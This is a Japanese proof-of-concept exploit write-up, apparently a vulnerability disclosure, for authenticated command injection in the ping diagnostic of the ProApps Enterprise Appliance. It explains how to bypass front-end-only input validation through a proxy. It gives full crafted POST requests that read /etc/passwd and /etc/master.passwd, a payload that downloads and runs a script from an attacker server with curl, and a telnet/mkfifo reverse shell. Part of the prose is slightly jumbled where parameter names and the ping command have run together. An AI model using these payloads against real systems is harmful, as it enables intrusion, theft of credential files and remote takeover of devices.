
ProApps Enterprise Appliance の ping 機能におけるコマンドインジェクションを介した認証済みリモートコード実行の概念的実証エクスプロイト。リバースシェルペイロードとクライアント側サニタイゼーションのバイパスを含む。
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
リモートコード実行
この脆弱性は、ユーザーが ping 機能を使用して、Unix 環境のシーケンスコマンド演算子(;、&&、| など)を追加することで、アプリケーションを介してシステムコマンドを注入できるために発生します。脆弱性を悪用するには認証が必要です。ユーザーは 'Status' という権限グループに属し、'Modified' 権限を持つ必要があります。また、悪用を成功させるには入力サニタイゼーションをバイパスする必要があることも重要です。アプリケーションはユーザー入力をフロントエンドでのみ検証するため、たとえばネットワークプロキシ経由でリクエストを送信する必要があります。これにより、アプリケーションによって課される制限がバイパスされます。
認証後、sta_rede.diagnostico_ping というページ(http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view)にアクセスする必要があります。このページは任意のホストに対して ICMP リクエストを実行する機能を提供します。ping ユーティリティと ICMP プロトコル(要求と応答)の詳細については、参考文献セクションに記載されている RFC を参照してください。
アプリケーションは、パラメータ host、testar_pacote、ttl を含む POST リクエストを送信します。ここで、host は ping のターゲット、 は送信する ICMP リクエストの数、 はパケットの生存時間(TTL)を指定します。リクエストを送信すると、アプリケーションは Unix システム上で次のコマンドを実行します: 。以下は機能を示す リクエストです:
testar_pacoteTTLping -c $testar_pacote $hostPOSTPOST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
ここで攻撃ベクトルが確認されます。ユーザーは、ネットワークプロキシを介して悪意のある POST リクエストを送信し、host パラメータにシーケンスコマンド演算子(;、&&、|)のいずれかを追加することで、入力サニタイゼーションをバイパスし、上記の ping コマンドの後に追加のコマンドを実行させることができます。たとえば、/etc/passwd、/etc/master.passwd などの機密ファイルの読み取りや、リバースシェルの取得、任意のコマンドの実行などが可能です。
以下は、細工された悪意のある POST リクエストの例です:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
sta_rede.diagnostico_ping への HTTP POST リクエスト:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Netcat で指定ポートをリッスンすることにより、リバースシェルが正常に開かれます。
RCE(リモートコード実行)脆弱性により、攻撃者はリモートデバイス上で任意のコードを実行でき、完全なシステム侵害、データ漏洩、ラテラルムーブメント、マルウェア展開、評判および金銭的損害につながる可能性があります。